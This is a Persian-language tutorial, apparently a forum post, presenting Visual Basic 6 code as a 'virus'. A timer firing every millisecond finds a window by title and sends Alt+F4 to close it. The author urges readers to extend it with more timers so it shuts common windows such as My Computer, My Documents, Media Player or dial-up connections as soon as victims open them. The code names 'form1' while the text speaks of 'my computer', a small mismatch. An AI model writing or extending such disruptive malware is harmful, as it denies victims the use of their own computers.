ریم سراغ کدا 

ابتدا این کد ها رو در قسمت general کپی کنید

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

 

و در نهایت این کدها را هم در برنا مه تون قرار بدبد

 

Private Sub Timer1_Timer()

Dim handel As Long

 

handel = FindWindow(vbNullString, "form1")

 

 

If handel <> 0 Then

SetForegroundWindow handel

SendKeys "%{f4}", 1

End If

 

End Sub

 

این برنامه یه timer باinterval=۱هم می خواد

 

و اما توضیح برنامه:

در این برنامه.پس از اجرا برنامه بدنبال پنجره ای با نام مورد نظر می گرده و در صورت پیدا کردن اون رو  می بنده.

دوستان نیازی به توضیخ خط به خط نمی بینم ولی اگه خواستید بگید تا ذکر کنم

 

در ویروس نویسی بعد از مهارت(شاید هم قبل از اون)مهم ترین عامل موفقیت یه ویروس نویس خلاقیته

برای مثال شما می تونید بجایmy computerهر عبارت دیگه ای که معمولا بسیار پرکاربرد هستند      مثلmy documentsیا برنامه های کاربردی نظیر media playerیا dial up connectionرا قرار بدید

فکر نمی کنم لازم به توضیح باشه که اگه بخاییم ویروس با هم تعداد زیاد تری از پنجره ها رو ببنده کافیه تایمر های جدیدی اضافه کنیم و کدهای مربوط به تایمر اول را با تغییر my computerبه عبارت مورد نظر در قسمت کد نویسی آن تایمر ها قرار دهیم

تا اگه هر کدوم از پنجره ها یا برنامه های مورد نظر اجرا شد اونها را ببنده